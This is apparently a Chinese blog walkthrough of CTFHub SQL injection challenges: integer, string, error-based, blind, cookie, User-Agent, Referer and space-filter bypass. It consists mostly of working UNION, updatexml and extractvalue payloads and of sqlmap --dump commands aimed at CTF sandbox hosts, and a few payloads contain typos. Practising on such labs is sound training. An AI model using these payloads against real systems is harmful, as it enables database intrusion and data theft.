首页 > 数据库 >CTFHub~SQL注入超简单详细教程

CTFHub~SQL注入超简单详细教程

时间:2024-08-14 15:26:57浏览次数:21  
标签:sqlmap 教程 CTFHub -- concat SQL table select schema

在这里插入图片描述

0x01整数型注入

# 本题告诉我们是整数型,所以就很容易了

image-20240812171002794

# 判断字段数量
1 order by 2

image-20240812171449788

# 判断回显点
-1 union select 1,2

image-20240812171605194

# 查询全部数据库名
-1 union select 1,group_concat(schema_name) from information_schema.schemata

image-20240812171651661

# 判断数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='sqli'

image-20240812171726803

# 查看表中的字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where tables_schema='sqli' and table_name='flag'

image-20240812173305416

# 查看数据库下的所有数据

image-20240812173058064

0x02字符型注入

此题目和上一题相似,一个是整数型注入,一个是字符型注入。字符型注入就是注入字符串参数,判断回显是否存在注入漏洞。因为上一题使用手工注入查看题目 flag ,这里就不在使用手工注入,而是使用 sqlmap 工具完成此题 。

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch

image-20240812185109234

# 查询数据库中的表
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch  -D sqli --tables

image-20240812185325465

# 查询数据库表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --columns

image-20240812185551579

# 查询flag中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-7a6a693ab4712704.sandbox.ctfhub.com:10800?id=1" -dbs --batch -T flag --dump

image-20240812185802918

0x03报错注入

# 查看数据库名
1 union select updatexml(1,concat(0x7e,database(),0x7e),1);

image-20240812190132241

# 查询数据库中的表名
1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e))--

image-20240812190557258

# 查询表中的字段名
1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))--

image-20240812190647063

# 查询表中的所有数据
1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--

image-20240812191025015

# 发现falg不完整,那么我们跳过第一个字符,然后输出全部
1 and extractvalue(1,concat(0x7e,mid((select flag from flag),2),0x7e))--

image-20240812191220467

0x04布尔盲注

这道题我们还是用sqlmap来爆破,手工注入太费劲了

# 查看数据库名
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812192033493

# 查看数据库下的表
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1" --current-db --batch -D sqli --tables

image-20240812192322178

# 查看数据库中表的字段
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1"  -T flag --columns

image-20240812192827654

# 查看flag表中所有的数据
python3 sqlmap.py -u "http://challenge-2e3d4ffa5802fdee.sandbox.ctfhub.com:10800?id=1"  -T flag --dump

image-20240812193526195

0x05时间盲注

我们还是继续来用sqlmap来爆数据库。

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812195459392

# 查看数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli --tables --batch

image-20240812195711190

# 查看数据库中flag表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns --batch

image-20240812195957592

# 查看当前数据库中的所有数据
python3 sqlmap.py sqlmap -u "http://challenge-5f63f4fbdb956b3d.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --dump --batch

image-20240812200413373

0x06MySQL结构

# 查询数据库名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --current-db --batch

image-20240812200756762

# 查询数据库的表名
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -D sqli --tables

image-20240812200907179

# 查看news表中的字段
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee  --columns

image-20240812201126226

# 查看数据库中所有的数据
python3 sqlmap.py sqlmap -u "http://challenge-d7a39c904d3e1f88.sandbox.ctfhub.com:10800?id=1" --batch -T gloizcxnee  --dump

image-20240812201224396

0x07Cookie注入

这道题我们需要通过抓包来对cookie进行操作,来完成任务

# 通过抓包查看回显位置
1 union select 1,2

image-20240812201706823

# 查看数据库名
-1 union select 1,database()

image-20240812201848577

# 查看数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

image-20240812202021305

# 查询vccdkaqxbl表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='vccdkaqxbl'

image-20240812202223402

# 查询数据库中的数据
-1 union select 1,group_concat(llhlayzpdh) from sqli.vccdkaqxbl

image-20240812202443114

0x08UA注入

# 通过抓包来爆数据库
-1 union select l,group_concat(schema_name) from information_schema.schemata

image-20240812203102491

# 爆数据库中的表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = sqli

image-20240812203157552

# 爆数据库中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'bkoqrywcto'

image-20240812203416822

# 爆数据库中所有的数据
-1 union select 1,group_concat(fhlxjtkdeg) from bkoqrywcto

image-20240812203624560

0x09Refer注入

# 这道题我们是用hackbar来做

image-20240812204427924

# 查询数据库
-1 union select 1,database()

image-20240812205323477

# 查询数据库中的表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

image-20240812205418741

# 查询表中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='wdpqevdhte'

image-20240812205525888

# 查询数据库中的所有数据
-1 union select 1,group_concat(ihwswrmydd) from wdpqevdhte

image-20240812205650584

0x0a过滤空格

这道题空格被过滤了,所以我们使用/**/来过滤

# 查询数据库名
-1/**/union/**/select/**/1,database()

image-20240812205908805

# 查询数据库中的表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

image-20240812210352096

# 查询数据库中表的字段
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='cppznyhepg'

image-20240812210459145

# 查询表中的所有数据
-1/**/union/**/select/**/1,group_concat(xcsvxeovdc)/**/from/**/cppznyhepg

image-20240812210601076
好小子,离成功又近一步!!!

标签:sqlmap,教程,CTFHub,--,concat,SQL,table,select,schema
From: https://blog.csdn.net/weixin_67832625/article/details/141150313

相关文章

  • IP SSL证书快速申请教程
    在互联网安全领域中,SSL证书是比较普遍的传输数据加密方式之一。SSL证书通过建立加密通道,确保客户端与服务器之间传输的数据不被第三方窃取或篡改。而大多数SSL证书,如单域名SSL证书、多域名SSL证书以及通配符SSL证书,在申请时必须有一个拥有管理权的域名网站,而没有域名网站的,只......
  • 通配符SSL证书快速申请教程
    目前SSL里面通配符证书使用率比较广,虽然没有单域名那么普及,但通配符仅次于单域名SSL证书,主要原因是因为通配符具备保护申请域名及下一级域名无限制的使用,好处是通配符SSL证书无需再另外花钱去买证书,一本通配符SSL证书可以涵盖了子域名,适合未来或者现在有很多子域名的网站。......
  • 基于 canal+mysql 实现 yjs-schema 数据实时同步
    MySQL自动同步开源工具在现代的数据处理中,数据同步是非常重要的一个环节。MySQL作为一个广泛应用的数据库管理系统,自动同步数据也是一个比较常见的需求。今天我们将介绍一些开源工具,可以帮助我们实现MySQL数据库的自动同步。1.MaxScaleMaxScale是一个开源的MySQLProxy工具,它......
  • 在Centos系统源码安装postgreSQL数据库及postGIS扩展
    本次安装的各版本如下postgresql-13.5.targeos-3.10.2gdal-3.4.1proj-8.2.1postgis-3.2.1一、安装postgreSQL1.1安装包下载地址选postgresql-13.5.tar.gz。使用工具将下载好的包传到服务器。解压,进入解压目录[root@localhostlocal]#yuminstallgccreadline-develzlib-d......
  • Mysql跨库操作
    在MySQL中,操作多数据源(例如从库A和库B)进行联查的情况,可以分为以下两种场景:A库和B库在同一个MySQL实例当A库和B库在同一个MySQL实例下时,可以直接使用跨库联查查询。示例如下:SELECTA.column1,B.column2FROMA.table1ASALEFTJOINB.table2ASBONA.id=......
  • Python轻量级 NoSQL 数据库之tinydb使用详解
    概要在现代应用开发中,使用数据库来存储和管理数据是非常常见的需求。对于简单的数据存储需求,关系型数据库可能显得过于复杂。TinyDB是一个纯Python实现的轻量级NoSQL数据库,专为嵌入式场景设计,适用于小型项目、原型开发和教学等场景。本文将详细介绍TinyDB库,包括其安......
  • Python数据分析基础教程(第二阶段)
    目录数据分析基础教程1.数据分析流程与业务理解1.1数据分析流程1.2了解数据的类型与结构1.3数据质量的重要性2.学习Python数据分析库2.1NumPy2.1.1ndarray的用法2.1.2广播机制2.1.3高效的数组操作2.2Pandas2.2.1DataFrame的使用2.2.2索引操作2.2.3分组操......
  • IntelliJ IDEA【最新】2024终极版 下载安装教程,图文步骤详解
    文章目录软件介绍软件下载安装步骤ActivationMethod专栏推荐:超多精品软件(持续更新中…)软件介绍IntelliJIDEA是一款由JetBrains公司开发的集成开发环境(IDE),专为软件开发人员设计,尤其在Java编程领域享有极高的声誉,被认为是市场上最好的JavaIDE之一。以下是对In......
  • Mybatis动态sql
    Mybatis动态sql在创建sql语句时,有时会遇到传入的参数为空的问题,也就是某些条件有时候不取值。这时就可以用动态sql来创建sql语句,不用自己拼接sql语句。1.if和where标签在sql语句条件外面包一层if标签,if标签的属性test可以进行判断,当判断为true后才会把标签内部的条件拼......
  • 【SQL】项目员工 I
    目录题目分析代码题目项目表 Project: +-------------+---------+|ColumnName|Type|+-------------+---------+|project_id|int||employee_id|int|+-------------+---------+主键为(project_id,employee_id)。employee_id是员工表......